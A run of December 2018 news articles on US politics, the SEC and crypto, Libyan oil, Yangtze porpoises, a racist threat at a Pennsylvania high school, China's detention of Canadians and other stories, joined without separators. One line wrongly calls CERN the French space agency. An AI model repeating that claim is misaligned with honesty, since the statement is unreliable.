its solar arrays have deployed, which is good news since the lander runs on solar energy. In Paris, the French space agency CERN said everything seems fine for the moment, and that it is up to NASA to communicate with the SEIS quake-sensing instrument. Students vandalise far western campus Students affiliated with various student organisations vandalised the Far-Western Universitys central college in Mahendranagar on Wednesday over a employee appointment row in the university. Jay Clayton, the chairman of the US Securities and Exchange Commission, is coming under fire from Republican lawmakers amid growing concerns over his harsh approach to regulatory enforcement which critics claim strangles the free market and inhibits technological innovation. In 2018, the SEC launched a massive crackdown on the crypto industry, which has been roiled by high-profile ICO scams and suspicions of market manipulation. Clayton was appointed SEC chair in 2017 by President Trump, with a mandate to enforce securities laws while ensuring that regulations are pro-business and promote the free market. But critics say Clayton lacks the vision of market-driven change that Republicans had hoped for on issues relating to cryptocurrencies and emerging technologies, Reuters reported. As a result, some lawmakers and lobbyists say the US crypto industry has been stalled in its progress toward mainstream adoption and its bid to become a preeminent market leader. Clayton Lives In an Ivory Tower Jay Clayton has shown the industry that he lives in an ivory tower with his resistance to approve registration statements for token offerings, said Anthony Tu-Sekine, head of the blockchain and crypto group at law firm Seward & Kissel. It is frustrating. One lobbyist said he doesnt understand why the pro-business Trump Administration hired Clayton, whom they feel has adopted a draconian approach to regulation. How did we end up with this guy? We cant get anything out of him. SEC chair Jay clayton In August 2018, the SEC rejected 9 bitcoin ETF applications, citing the applicants failure to demonstrate how they could prevent fraud and market manipulation, as CCN reported. Diego Zuluaga, a policy analyst at the libertarian Cato Institute, called the rejection most disappointing. In March 2017 and again in June 2018, the SEC rejected the bitcoin ETF (exchange-traded fund) applications submitted by the Winklevoss twins, Tyler and Cameron. Story continues And two weeks ago, the SEC once again delayed making a decision on VanEcks bitcoin ETF application until February 27, 2019. It was the second or third such postponement this year. Clayton: Strict Enforcement Helps Industry In February 2018, Clayton signaled that his agency would investigate cryptocurrencies when he testified before the US Senate Banking Committee. At the time, he said: I believe every ICO Ive seen is a security. Weeks later, the SEC targeted ICOs by issuing dozens of subpoenas to crypto-related tech companies and advisors to investigate how ICOs are structured. The SECs rampant crackdowns on the virtual currency market has led many in the community to conclude that Clayton is anti-crypto. But he insisted that hes not. In April 2018, Clayton said increased regulatory scrutiny will benefit the industry by ridding it of scam artists who give the entire space a bad name. He also said driving out bad actors early will ensure that the government wont adopt such a hard-line stance that it will choke off the nascent industry, Clayton reasoned. If we dont stop the fraudsters, there is a serious risk that the regulatory pendulum the regulatory actions will be so severe that they will restrict the capacity of this new security. Other Republicans approve of Claytons measured approach to the crypto industry, saying they expect the SEC to offer greater regulatory clarity in 2019. A lot of people would like things to move more quickly, but thats the system, said Paul Atkins, a former Republican SEC commissioner. In the new year, youll see a lot of these seeds [Clayton has] planted will start to germinate. Meanwhile, US lawmakers have already proposed legislation designed to prevent price manipulation and position the United States as a leader in the crypto industry. US Bills Seeks to Protect Cryptocurrency Investors from Market Manipulation https://t.co/xeTXBHA5vZ CCN (@CryptoCoinsNews) December 7, 2018 Featured image from Shutterstock. The post SEC Chair Jay Claytons Mass Crackdown On Crypto Industry Roils GOP Lawmakers appeared first on CCN. The Senate passed legislation that would fund the government through Feb. 8 late Wednesday evening, but the short term solution does not solve the larger issues at hand regarding border security and President Donald Trumps wall with Mexico. The measure, a key step toward averting a government shutdown, was approved roughly twelve hours after Senate Majority Leader Mitch McConnell announced this was the path he had decided to take before Fridays deadline, when funding for portions of the government runs out. As the vote occurred, lawmakers, clearly eager to get home for the holidays, were in a giddy mood. A handful of Senators were singing Christmas carols on the floor; at one point Arizona Sen. Jeff Flake, who was presiding over the vote, jokingly referred to McConnell as Rudolph. But their relief could possibly be short lived. The bill now has to pass the House before the President can sign it into law. While House Democrats, like their Senate counterparts, are expected to support the agreement to avert a shutdown, Republicans face internal opposition from the Freedom Caucus, a conservative segment of their caucus, who said Wednesday they would support President Trump if he vetoes the bill because it does not contain adequate funding for border security. Portions of the government will shut down on Friday at midnight if the President does not sign the legislation to keep it open, a situation that would impact some 800,000 federal workers just ahead of Christmas. The government needs to fund seven remaining appropriations bills. While six are close to completion, according to officials in both parties, Congress has been hung up on the seventh bill, which would fund Trumps oft-touted wall along the U.S.-Mexican border. Trump said as recently as last week that he would proudly shut down the government if he did not receive his requested $5 billion for border security, but the Republican-led Congress did not have the votes to deliver that to him. Democrats had bulked at providing anything more than $1.3 billion for that purpose, and Republicans, who have a slim 51-49 majority in the Senate, needed at least nine Democrats on board with Trumps proposals to pass the bill. When Republicans offered a $1.6 billion proposal for border security and another $1 billion in discretionary spending which Trump could use to build some of the physical wall, according to a GOP leadership aide on Tuesday, Democrats rejected it outright. Story continues While the stopgap bill would be a victory for the government employees who would not have to work without pay during a shutdown, and for the lawmakers who would not have to spend the Christmas holiday in Washington, it is undoubtedly a setback for the President and his desired border wall. The bill continues funding at current levels through February 8. For border security, that means $1.3 billion, which is the line the Democrats had drawn. If President Trump signs this legislation, it would not only be a reversal of his hardline stance about shutting down the government over a border wall, it would also be a signal of defeat when he had utmost leverage with negotiations. Come February, when the battle over the wall will inevitably begin again, he will be facing a Democratic-controlled House of Representatives, who have made clear they will not pass anything remotely akin to what the President wants in this arena. He will have to admit he cannot get the desired funding for the wall, a key campaign pledge, by the end of the first term. This problem doesnt get easier by moving the deadline a month, one House Democratic aide told TIME. At some point, the rubber has to meet the road and the President has to finally and officially give in on the wall. Trump has remained silent about what he intends to do, although Republican lawmakers seem confident he will sign the bill. But he is facing pressure from groups Freedom Caucus, the segment of House Republicans who said they would support Trump if he vetoed the bill, and highlighted the detrimental effect it would have on his core base of voters. If you veto this bill, well be there, Freedom Caucus chairman Rep. Mark Meadows told Trump in a statement. But more importantly, the American people will be there. Theyll be there to support you. First Step Act, a landmark bill which would reduce drug crime sentences, saw support from both progressives and law-and-order conservatives Donald Trump speaks about the First Step Act in Washington. He is a supporter of the bill, which nows returns to the House for another vote. Photograph: Jim Watson/AFP/Getty Images A sweeping bill seeking to reform the criminal justice system has cleared the Senate, in a legislative victory for both progressive advocates and law-and-order conservatives that would give judges more discretion when sentencing some drug offenders and would boost prisoner rehabilitation efforts. The First Step Act, which passed 87-12, attracted support from both sides of the aisle, as well as from public figures such as Patricia Arquette, Mark Cuban, Kim Kardashian West and Kanye West. Donald Trump supported the iteration of the bill that passed in the House in May, and the most current version that will need to return to the House for another vote (which it is expected to pass), before it reaches his desk for a signature later this week. The sweeping bill addresses concerns that the nations war on drugs had led to the imprisonment of too many Americans for non-violent crimes without adequately preparing them for their return to society. America is the greatest Country in the world and my job is to fight for ALL citizens, even those who have made mistakes, Trump tweeted. Congratulations to the Senate on the bi-partisan passing of a historic Criminal Justice Reform Bill. The president continued: This will keep our communities safer, and provide hope and a second chance, to those who earn it. In addition to everything else, billions of dollars will be saved. I look forward to signing this into law! The act would reduce mandatory minimum sentences for a number of drug-related crimes, allow judges to circumvent federal mandatory minimum sentences for non-violent offenders when they see fit, expand rehabilitative opportunities for federal prisoners, and ban some correctional practices criticized as inhumane, such as the shackling of pregnant women. The act would give elderly and terminally ill inmates a path home and invest tens of millions in re-entry programming. Story continues The act would end so-called three strikes mandatory life sentences for defendants facing a third drug conviction, except for those with a prior serious violent felony. The stacking regulations that make it illegal to posses a firearm while committing a crime, even if the firearm is not used, would also no longer come into play. The bill would also retroactively extend the 2010 Fair Sentencing Act, a move that could affect thousands of drug offenders serving disproportionately long sentences for crack cocaine versus the powder variant. As many as 4,000 people currently serving long sentences could be eligible for release, according to some advocates. Jessica Jackson Sloan, the national director for #cut5o, a criminal justice reform advocacy group, applauded the Republican judiciary committee chairman, Chuck Grassley, and Dick Durbin, the Senate Democratic whip, for leading their respective parties to consensus on one of the most important challenges our country faces unwinding the catastrophic harm of the incarceration industry. Tonight, we stand as neither Republican or Democrats but as people seeking to take the first step of many to criminal justice reform, she said. Grassley hailed a big bipartisan victory, saying: Historic criminal justice reform happens once in a generation. Cory Booker, the New Jersey senator and possible Democratic presidential hopeful for 2020, said the nations prisons were full of Americans who are struggling with mental illness and addiction and who are overwhelmingly poor. He said the nations criminal justice system feeds on certain communities and not on others and added that the bill represents a step toward healing for those communities. Lets make no mistake, this legislation, which is one small step, will affect thousands and thousands of lives, Booker said. The ACLU, which initially opposed the House version of the legislation, tweeted that the First Step Act was by no means perfect but were in the midst of a mass incarceration crisis and the time to act is now. Were glad to see common sense prevail in the Senate voting to move this bill closer to the finish line. The bill would affect only federal prisoners, who make up less than 10% of the countrys prison population. By Ahmed Elumami and Ayman al-Warfalli TRIPOLI/BENGHAZI, Libya (Reuters) - Libya's Sharara oilfield remains closed, state oil firm NOC said on Thursday, resisting pressure from some officials to quickly pay off protesters which shut it down. On Wednesday, Libya's internationally recognized government said the 315,000 barrels a day field, the country's biggest, would reopen after Prime Minister Fayez al-Sarraj flew there to meet protesters who seized the southern facility on Dec 8. Sarraj had called the demands of the protesters - made up of state guards and tribesmen - as legitimate. Oil sources later said preparations were being made to restart output. But a conflict then erupted between the government and NOC which wants to stop getting blackmailed by protesters, often armed, who occupy fields to demand cash and jobs. NOC Charman Mustafa Sanalla said that force majeure, a contractual waiver, would not be lifted at Sharara until alternative security arrangements were in place, a statement said. He warned of "catastrophic consequences for both the oil sector and country of ransom payments to the armed group occupying the Sharara oil field". The Tripoli government has announced a development fund worth 1 billion dinars ($717 million) for the long-neglected south in a bid to appease the protesters. Sanalla has drawn criticism from some officials for framing the occupiers as an armed group. They are joined by tribesmen, who demand better state services for the south, which produces around 400,000 bpd of day but lacks basic facilities such as hospitals or electricity. Some state guards, which NOC said had facilitated the protest, had demanded salaries they said they were owed. The OPEC member had before the closure boosted output to up to 1.3 million barrels a day. NOC is widely seen by armed groups and civilian protesters as an easy target to milk. El Sharara crude is transported to the Zawiya port, which is also home to a refinery. NOC runs the field with Spain's Repsol, France's Total, Austria's OMV and Norway's Equinor, formerly known as Statoil. (Reporting by Ayman al-Warfalli, Ahmed Elumami, Nayera Abdallah, Ulf Laessing and Ahmed ElJechtimi; Writing by Ulf Laessing, Editing by Angus MacSwan) In a bid to bolster renewable energy business, Royal Dutch Shell plc RDS.A recently inked a deal to snap up 49% stake in Asia-based solar energy company, Cleantech Solar. The transaction is valued at $100 million and scheduled for closure in January 2019, subject to satisfactory closing conditions and regulatory approvals. The deal represents Shells second major solar investment in 2018. Markedly, the company signed a deal early this year to acquire 43.8% stake in Silicon Ranch Corporation, which is a leading solar energy company in the United States. Notably, Shell has the option to boost its stake in Cleantech after 2021. Headquartered in Singapore, Cleantech owns more than 120 solar plants across South East Asia, representing in excess of 200 megawatt (MW) capacity, and is poised for significant expansion to more than 500 MW in the next couple of years. The deal is in sync with Shells intention to ramp up its renewable foothold. In fact, the company will invest up to $2 billion per year till 2020 in its New Energies division, which will also serve as a hedge for reduced gasoline and diesel fuel demand. The Zacks Rank #5 (Strong Sell) company believes that pumping money into the New Energies unit is likely to significantly increase its customer base and drive revenues. You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here. Royal Dutch Shell PLC Price Royal Dutch Shell PLC Price | Royal Dutch Shell PLC Quote In fact, Shell has been on an acquisition spree of late, having collaborated with IONITY, New Motion, First Utility and Silicon Ranch, as it attempts to diversify its portfolio beyond oil and gas. With renewable energy becoming affordable, the oil conglomerate sees immense potential in developing projects like hydrogen fuel-cells, alternative energies, liquefied natural gas and next-generation biofuels. Shells New Energies division has also made investments in U.S. thermal storage specialist Axiom Energy, microgrids and distributed energy services player GI Energy, hydrogen compression specialist HyET and German home storage developer Sonnen. Story continues In fact, amid climate change concerns, other big oil companies like TOTAL SA TOT, Equinor ASA EQNR, BP plc BP, Exxon Mobil Corporation and Chevron Corporation have also started reorienting their strategies to de-carbonize the energy system via increasingly shifting to alternative fuels. Today's Stocks from Zacks' Hottest Strategies It's hard to believe, even for us at Zacks. But while the market gained +21.9% in 2017, our top stock-picking screens have returned +115.0%, +109.3%, +104.9%, +98.6%, and +67.1%. And this outperformance has not just been a recent phenomenon. Over the years it has been remarkably consistent. From 2000 - 2017, the composite yearly average gain for these strategies has beaten the market more than 19X over. Maybe even more remarkable is the fact that we're willing to share their latest stocks with you without cost or obligation. See Them Free>> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Royal Dutch Shell PLC (RDS.A) : Free Stock Analysis Report BP p.l.c. (BP) : Free Stock Analysis Report TOTAL S.A. (TOT) : Free Stock Analysis Report Statoil ASA (EQNR) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research In an oxbow lake along the middle reaches of the Yangtze River, a breathy sigh pierces the surface stillness as one of Chinas most endangered animals comes up for a gulp of hazy air. A slick black back with no dorsal fin arches briefly above the water line before plunging back down. Such glimpses of the shy Yangtze finless porpoise, the only aquatic mammal left in China's longest river and known in Chinese as the "smiling angel" for its perma-grin, are increasingly rare. Pollution, overfishing, hydroelectric dams and shipping traffic have rendered them critically endangered, worse off even than China's best-known symbol of animal conservation, the panda. China's government estimates there were 1,012 wild Yangtze finless porpoises in 2017, compared to more than 1,800 giant pandas, which is no longer endangered. But researchers see signs of hope. Porpoise numbers fell by nearly half from 2006-2012 to an estimated 1,040. But the rate of decline has slowed markedly since then, suggesting that conservation may be making a dent. A central component of the rescue effort is the introduction of porpoises to several conservation areas off the busy river, where researchers say numbers have been actually increasing. - Encouraging signs - At the Tianezhou Oxbow Nature Reserve in central China's Hubei province, a curving lake linked to the Yangtze by a stream, around 30-40 porpoises were brought in beginning in the 1990s. There are now around 80. "We found out animals can not only survive but also reproduce naturally and successfully at Tianezhou. That's very encouraging," said Wang Ding, 60, a porpoise expert with the Chinese Academy of Sciences. Researchers also credit official clampdowns on polluting activities and fish overharvesting, artificial reproduction projects, and growing environmental awareness among China's emerging middle class. "The voice and supervision of the public has played an important role," said Zhang Xinqiao, the species' project manager at the World Wide Fund for Nature (WWF). Story continues Chinese officials are keen to avoid a repeat of the "baiji", or Yangtze dolphin, the river's only other aquatic mammal, which since 2006 has been considered extinct in a huge conservation setback for China. Losing the "smiling angel" would be a further tragedy, conservationists say. One of the world's few freshwater porpoise subspecies, it is considered a natural barometer of the overall health of China's most important river. - 'River pig' - The finless porpoise is mentioned in ancient Chinese poems and has been considered a harbinger of rain. Some locals call it the "river pig" for its plump body and rounded headed. Adults can reach two metres (six feet) long and were sometimes eaten, despite not being considered particularly tasty. Their livers were used in traditional medicines. Since China re-opened to the world four decades ago, living standards have soared, but so have air and water pollution. The Yangtze contributes more to ocean pollution than any other world river, according to Dutch NGO Ocean Cleanup. Hydroelectric dams built on the river to satisfy soaring energy demand have also been disastrous for biodiversity. But in January 2016, President Xi Jinping called for a river protection push. Steps have included curbs on development, stricter fishing rules and other protection projects. Later that year, a formal porpoise action plan was launched, including increased relocations away from the river, more reserve sites, and research on artificial breeding. The Tianezhou reserve, established in 1992, claims to be the world's first and only example of cetaceans -- which include dolphins and porpoises -- surviving and reproducing after relocation. Local fishermen near the lake were encouraged to change professions and Wang Hesong, 46, became a patrolman at the reserve. "Look over there, a mother and a baby," Wang said, as his pilot cut their patrol boat's engine at the sight of two arched backs breaking the silvery surface. The shy mammals quickly submerged. "They only come up for a couple of seconds to breathe... We go out patrolling every day and we see them every day," Wang said. The 21-kilometre-long (13-mile) lake offers sanctuary, but porpoises within the river face intense pressure. The WWF's Zhang said the species' days in the river may be numbered. "They have nowhere to hide in the river," he said. "As long as danger exists, such as a further deterioration of natural habitat, it's very likely their numbers could drastically decrease again." - Clock is ticking - With the clock ticking, a research facility in the nearby industrial city of Wuhan hosts six finless porpoises for research, breeding, and to engage the public. Two gracefully circled by an observation window that looks into their huge tank, playfully tilting their bodies to glimpse the human visitors. "They are saying 'hi' to us," said Liu Hanhui, a volunteer. "I think they understand human feelings." The WWF says adult Yangtze finless porpoises have the intelligence of a three-to-five-year-old child. Just before feeding, they are coaxed to open their mouths on cue, show off their smiles, and shake hands by extending a flipper. Yet they are difficult to breed in captivity. A calf born in June at the dolphinarium -- founded in 1980 -- is just the second produced there to survive more than 100 days, while wild calves often die before adulthood due to human impact on the environment. Liu, an aquaculture student at a nearby university, and 40 other volunteers help feed them on weekends and holidays, and take part in various activities to promote awareness. Conservation programmes and events in the region have proliferated in recent years, backed by scores of businesses and NGOs aiming to instruct the public and encourage greater government protection efforts. "Our development has caused a species to rapidly disappear. I feel like I'm atoning for mankind's crimes," Liu said. Spirit AeroSystems Holdings, Inc. SPR recently announced that it has plans to expand operations at its Tulsa, OK site by hiring nearly 250 employees over the next three years and incurring a capex of $80 million for capital projects to aid fuselage manufacturing and assembly work. Details of the Project Per the companys announcement, the first phase of the Tulsa operation expansion is supposed to begin with infrastructure set-up and employee training, starting in 2019. Further, the production is expected to be completed by the end of 2021. Also, the company anticipates an additional capex on equipment, tooling and facilities upgrades, which may take place through 2022. This multi-year extension project can be realized through partnership with the International Union, United Automobile, Aerospace and Agricultural Implement Workers of America (UAW). The company expects that the new Tulsa jobs will support the ramped-up production rate of 737, freeing up the required space at Spirit AeroSystems Wichita factory location. As the production rates increase, the Wichita hub will continue to hire additional workers to meet the surge in demand. Whats Aiding Spirit AeroSystems? Spirit AeroSystems currently focuses on becoming more innovative by investing in technology and automation. To this end, the company informed about the creation of a new research and development complex at its Prestwick, Scotland site, which is supposed to be opened in 2019. Such initiatives should enable the company to strengthen its position in the aerospace-defense space and in turn, outperform its industry. On the commercial front, rapid growth in air passenger and freight traffic has been fueling demand for aircraft. Notably, to meet this growing demand, The Boeing Companys BA 737 and 787 jet models and Airbus Groups EADSY A320 and A350 are all raising their production rate. With Boeing and Airbus being Spirit AeroSystems primary customers, rapid rise in the production rates for these key programs, should further bolster Spirit AeroSystems revenues. As part of the fiscal 2019 defense budget proposal, $686.1 billion is being reserved as funding for the Pentagon, reflecting 5% real growth over the initial fiscal 2018 Presidential budget. This higher spending provision hints at the U.S. governments escalated capex on defense primes like Spirit AeroSystems. We may expect a consistent order flow from Pentagon to drive the companys top line in the coming days. Price Movement In a years time, shares of Spirit AeroSystems have underperformed its industry. The stock has lost 17.1%, wider than the industrys decline of 2.1%. Story continues Zacks Rank & Key Pick Spirit AeroSystems currently carries a Zacks Rank #3 (Hold). A better-ranked stock from the same industry is AeroVironment, Inc. AVAV, sporting a Zacks Rank #1 (Strong Buy). You can see the complete list of todays Zacks #1 Rank stocks here. AeroVironment delivered average positive surprise of 257.01% in the last four reported quarters. The Zacks Consensus Estimate for fiscal 2019 earnings has been revised 13.2% to $1.54 over the past 30 days. Today's Stocks from Zacks' Hottest Strategies It's hard to believe, even for us at Zacks. But while the market gained +21.9% in 2017, our top stock-picking screens have returned +115.0%, +109.3%, +104.9%, +98.6%, and +67.1%. And this outperformance has not just been a recent phenomenon. Over the years it has been remarkably consistent. From 2000 - 2017, the composite yearly average gain for these strategies has beaten the market more than 19X over. Maybe even more remarkable is the fact that we're willing to share their latest stocks with you without cost or obligation. See Them Free>> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report The Boeing Company (BA) : Free Stock Analysis Report AeroVironment, Inc. (AVAV) : Free Stock Analysis Report Spirit Aerosystems Holdings, Inc. (SPR) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Students at Strath Haven High School in Wallingford, Pa., staged a walkout on Wednesday to protest a threatening, racist letter believed to be distributed by four of their classmates, who police suspect also appeared on social media Tuesday wearing Ku Klux Klan hoods in an ominous photo. Authorities are investigating the incident, which took place on Snapchat, through which the suspects allegedly broadcast the offensive image along with a hate-filled note ordering non U.S. Citizens to leave their homes, otherwise they will be evicted from your home at 9 am tomorrow afternoon. The letter suggested that its targets move to new mexico city and take jobs at McDonalds and Dennys. Strath Haven High School has been rocked by bigotry, as a threatening racist letter and a photo of two people in KKK hoods circulated on social media. (Photo: Jayda Dixon-Clack via Facebook) The message continued, Donald [Trump] and his crew think its best if u pack ur bags tonight and dont say goodbye to any1. If they dont comply, the letter reads, people will come to put u up for adoption or execute u and ur kidos. The threats are apparently supported by a law against filthy nutheads like yourself. The note is signed, Donald Trump and his Crew, specifically Mike Pence #MAGA. In addition to the social media posting, the suspects also reportedly harassed their neighbors by posting the letter on their doors. Though the culprits have not been identified, Wallingford-Swarthmore School District Superintendent Lisa Palmer told Philadelphias CBS affiliate that investigators believe the two people pictured wearing KKK-style hoods in the image thats been circulated throughout the community might be high school students. Students, parents and faculty were outraged so, with the blessing of the school and protected by local police, teens walked out of Strath Haven High School Wednesday afternoon to peacefully protest. One of the teens, Elliot Kurz, said, Its horrible what happened, but we had a few discussions about it in class, and we were thinking they probably didnt mean it, they were just looking for attention. Another student, Deja Clack, told Philadelphias Fox 29 shes disturbed by the incident but not surprised. I dont understand why these people are shocked, she said. [Racism] happens, but theyre just starting to now come out and publicly do stuff like this now. Story continues Clacks mother, Jayda, told Fox 29, Im just so disgusted. I would have never thought that this would go on in this neighborhood. Nowadays you cannot play like that. You just cant do those things, you cant say those things, and you definitely cant make threats and get it swept under the rug or think youre not going to have any repercussions. All schools have issues, but our schools not like that, Barbara Munn told Philadelphias ABC affiliate. Early reports suggest four girls were behind the threatening post, though only two appeared in the picture, and some students, including Hayden Soch, seemed to have an inkling of who the suspected teens are. I dont know why they did that, he said. I mean, before this they seemed like relatively good people, but I dont know what they were doing. Palmer released a statement to Yahoo Lifestyle about the incident on behalf of Strath Haven High School: This week we learned of an extremely insensitive and hate-filled letter that was dropped off at the homes of some of our community members. In addition, a photo of two people in white hoods has been circulated around social media. The name and social media handles associated with this photograph appear to be linked to students in our district. However, at this time we dont have many details and cant even say who created this photograph and/or social media post. Upon learning of this photo, we immediately contacted police and are conducting an investigation in coordination with them. We are extremely disturbed and disappointed at the thought that any of our students might be associated with this kind of vile display of racism. We will very closely follow our district discipline policy as it relates to any student found posting this kind of material on a school device or network, or during school hours. The Wallingford-Swarthmore School District is an inclusive learning community that welcomes and embraces students and families of all races and ethnicities. There simply is no place for hate in our district, and this is a message we intend to reinforce with our students. Tamyra Durnell, whose nieces and nephews attend Strath Haven High, believes the community and those in positions of power are missing the warning signs when it comes to hate crimes. Thats how the mass shootings happen all over the country. These clues are here, so they need to react. And these people and children need to be held accountable before its too late. No discipline has been handed out at Strath Haven High School, as the investigation is ongoing. Read more from Yahoo Lifestyle: Follow us on Instagram, Facebook and Twitter for nonstop inspiration delivered fresh to your feed, every day. London (AFP) - Nearly 600 homeless people in England and Wales died the last year -- a 24 percent rise over the past five years, according to official estimates released Thursday. Described as a "national tragedy" by one activist, the numbers were released by the Office for National Statistics just days after a homeless man died outside the Houses of Parliament -- the second within a year. The ONS said the estimated 597 homeless deaths was up from 482 in 2013. Their statistics threw up patterns were strikingly different from the general population. "More than half were related to drug poisoning, suicide, or alcohol -- causes that made up only three percent of overall deaths last year," said Ben Humberstone, the ONS head of health and life events. The average age of death was 44 for men and 42 for women -- and 84 percent of those who died were men. But the spike in winter deaths was not reflected among the homeless -- possibly due to greater provision of shelters and services during the coldest months, said the ONS. "This is nothing short of a national tragedy -- especially when we know that homelessness is not inevitable," said Jon Sparkes, the chief executive of Crisis, Britain's national charity for single homeless people. "In one of the world's wealthiest countries, no one should be dying because of homelessness." The statistics were released a day after MPs were told about a homeless man, a 43-year-old known as Gyula Remes, who was found dead outside the parliament in London. Housing Secretary James Brokenshire said the figures were "stark". "It is simply unacceptable to see lives cut short this way," he told lawmakers. "I believe we have a moral duty to act." He said the government was committed to halving rough sleeping by 2022 and ending it by 2027. But opposition leader Jeremy Corbyn of the Labour Party blamed the Conservative government. "Every year since the Tories entered government in 2010 rough sleeping has got worse," he tweeted. "There is absolutely no excuse for this." Washington (AFP) - Months after hitting rock bottom, relations between the United States and Turkey have quickly improved with President Donald Trump's decision to withdraw from Syria raising speculation of a quiet pact. Trump spoke with his Turkish counterpart Recep Tayyip Erdogan on Friday, five days before the US leader's surprise announcement of a pullout of 2,000 troops from Syria as he declared the defeat of the Islamic State group. The Turkish leader had been threatening an imminent offensive against Kurdish fighters in Syria who have battled alongside the United States against the Islamic State but whom Ankara describes as "terrorists" for their kinship with PKK militants at home. In a diplomatic statement after their telephone conversation, the Turkish government said that Trump and Erdogan "agreed to ensure more effective cooperation" on Syria. In a less diplomatic statement, Erdogan on Monday said: "I spoke with Trump. The terrorists must leave the east of the Euphrates. If they don't go, we will remove them." Turkish Foreign Minister Mevlut Cavusoglu said at the same time that Trump was again talking of withdrawing from Syria. Few took Cavusoglu's comments seriously -- a State Department spokesman, asked about his remarks, assured that "the job is not yet done" in Syria -- until Trump suddenly announced the pullout on Wednesday. Several US media outlets said Trump made his decision just after speaking to Erdogan. But Trump also prides himself on unpredictability and has long mused about leaving Syria, calling the involvement too costly. "Trump's decision has in fact little to do with Turkey," said Sinan Ulgen, chairman of the Istanbul-based Center for Economics and Foreign Policy Studies. "The timing may, however, have been precipitated by the call with Erdogan," he said. - 'Major boost' for Turkey - Whether or not there was an explicit understanding, the withdrawal of US troops opens the way for an offensive by Turkey, which was much less likely to strike when risking US casualties. Story continues "This is a major boost for Turkey and, I believe, an improvement in US-Turkish relations, while making Turkey less dependent on Russia also," said Faysal Itani, a senior fellow at the Atlantic Council in Washington. Turkey -- a member of NATO, the alliance designed as a bulwark against the Soviet Union -- alarmed the United States a year ago when it signed a deal for S-400 missiles from Russia. Also this week, the United States announced the approval of a sale of $3.5 billion worth of Patriot and other missiles to Turkey, offering a stark choice to Erdogan on where to buy weapons. Relations sank further when Turkey detained Andrew Brunson, a US pastor based in the coastal city of Izmir, and demanded the extradition from Pennsylvania of Fetullah Gulen, an influential cleric whom Erdogan accuses of plotting a failed 2016 coup against him. The Trump administration, which counts on evangelical Christians as a core constituency, turned Brunson's detention into a top priority, slapping sanctions that rocked the Turkish economy including the value of the lira until his release in October. "I believe the deal was that the Turks release Brunson in exchange for the US refraining from doing anything to damage the Turkish economy further," said Steven Cook, a senior fellow at the Council on Foreign Relations. "The people in Washington who have argued for saving the relationship won," he said. - Admiration for Erdogan? - Trump, who has often been accused of feeling more comfortable with strongmen than democratic allies, has indicated that he feels an affinity with Erdogan. Meeting him last year, Trump called Erdogan a friend and said he gave him "very high marks" as he clamped down on dissent. Cavusoglu, who predicted the Syria withdrawal, also said that Trump had promised he was "working on" the extradition of Gulen. Two partners of Trump's disgraced first national security adviser, Michael Flynn, were separately indicted this week for illegally scheming with Turkey to seek Gulen. The White House said Tuesday that Trump only agreed to "take a look at" Gulen's extradition -- but, in light of recent events, the cleric is unlikely to be sleeping easy. burs-fff/sct/ft Wang Bingzhang and Michael Kovrig have already been caught up in the escalating spat - REUTERS A third Canadian citizen has been detained in China following the arrest of Huawei executive Meng Wanzhou in Vancouver. A spokesperson for Global Affairs Canada said on Tuesday that they are aware of a Canadian citizen who has been taken into custody in China. An anonymous official later briefed that the department had "reason to believe that this case is linked to other recent cases of Canadians detained in China" Nevertheless there was speculation that the move was retaliation for the arrest of Ms Meng, who is facing extradition to the US. David Mulroney, a former ambassador to China, said it would be highly unusual if the third arrest was a coincidence. "One detention is bad enough. Two is terrible. Three underlines how ruthless China can be," he told AFP. Ms Meng's arrest has been seen as politically motivated as it comes amid hightened security tensions between the US and China, and accusations that Huawei is a vehicle for state spying. Canada declined to name the latest person arrested or provide further details, citing a national privacy act. However, the National Post, which first reported the story on Wednesday, cited third-party sources who apparently spoke to the family of the person arrested and confirmed they are neither a diplomat nor an entrepreneur working in China. Hua Chunying, spokesman for Chinas foreign ministry, denied any knowledge of the latest arrest in a daily press briefing in Beijing this morning. Two other Canadians former diplomat and current advocacy group advisor Michael Kovrig, and businessman Michael Spavor were arrested in China last week on charges of endangering the countrys national security. Beijing has not said if the two arrests were made in retaliation for Mengs detention, and the Canadian government has stressed that there is no explicit link between the cases. However, Western diplomats in Beijing and commentators have called the move tit-for-tat reprisals. Story continues Adrian Zenz, an independent China researcher and lecturer at Columbia International University, told The Telegraph: This [the third arrest] indicates that China is willing to escalate this delicate situation even further, and shows how important Huawei as a company is for the Chinese state. "Beijing is very concerned that Huawei's reputation in the West will deteriorate further. Also, China has been increasingly bold in its stance towards Western governments, notably in its strong rebuttal of a request of 15 diplomats to visit the re-education camps in Xinjiang. "Beijing's willingness to arbitrarily detain Canadian citizens in order to put pressure on Ottawa is in line with this new approach to the West, which is increasingly characterised by a use of sharp power instead of soft power. The relationship between Ottawa and Beijing has become evermore important amid the ongoing trade war between China and the US, but news of a third arrest will heighten tensions further. After Ms Meng was detained Chinas government and state-run media said Canada would face serious consequences, putting Prime Minister Justin Trudeaus hopes for free trade talks in jeopardy. Mr Trudeaus government has been under pressure to bar Huawei, one of the worlds leading mobile technology giants, from developing a 5G network in Canada due to cyber security and espionage concerns. The UK government and universities are also facing questions over contracts involving Huawei hardware. Ms Meng, who is accused by US prosecutors of putting multinational banks at risk by misleading them into trading with Iran in violation of US sanctions, was released on December 12 on C$10m (6m) bail, but will return to court next year to face further legal proceedings. The 46-year-old, daughter of Huawei founder Ren Zhengfei, denies the charges. Harare (AFP) - Several thousand anti-government demonstrators marched through the capital of Zimbabwe on Thursday, closely watched by armed police in the first rally since a deadly crackdown on an election protest in August. Singing and waving placards denouncing President Emmerson Mnangagwa, the protesters gathered in the centre of Harare before streaming through the city's streets. The event, held with police approval, was organised by the main opposition MDC party, which says it was cheated of victory in the July 30 election, eight months after long-time leader Robert Mugabe was ousted. In a demonstration just days after the election, six people died when security forces opened fire on protesters, undermining Mnangagwa's efforts to present the vote as a fresh start for the nation after years of repression under Mugabe. "Mnangagwa must go," read one banner at Thursday's protest alongside others reading "You stole my vote, please give it back" as well as slogans demanding justice over the election shootings. Much of the marchers' anger was focused on Zimbabwe's renewed economic problems, with people struggling to cope with dramatic price rises and severe shortages of essentials like bread, cooking oil and petrol. The protesters chanted praise for MDC leader Nelson Chamisa, who claims he was the rightful winner of the election. 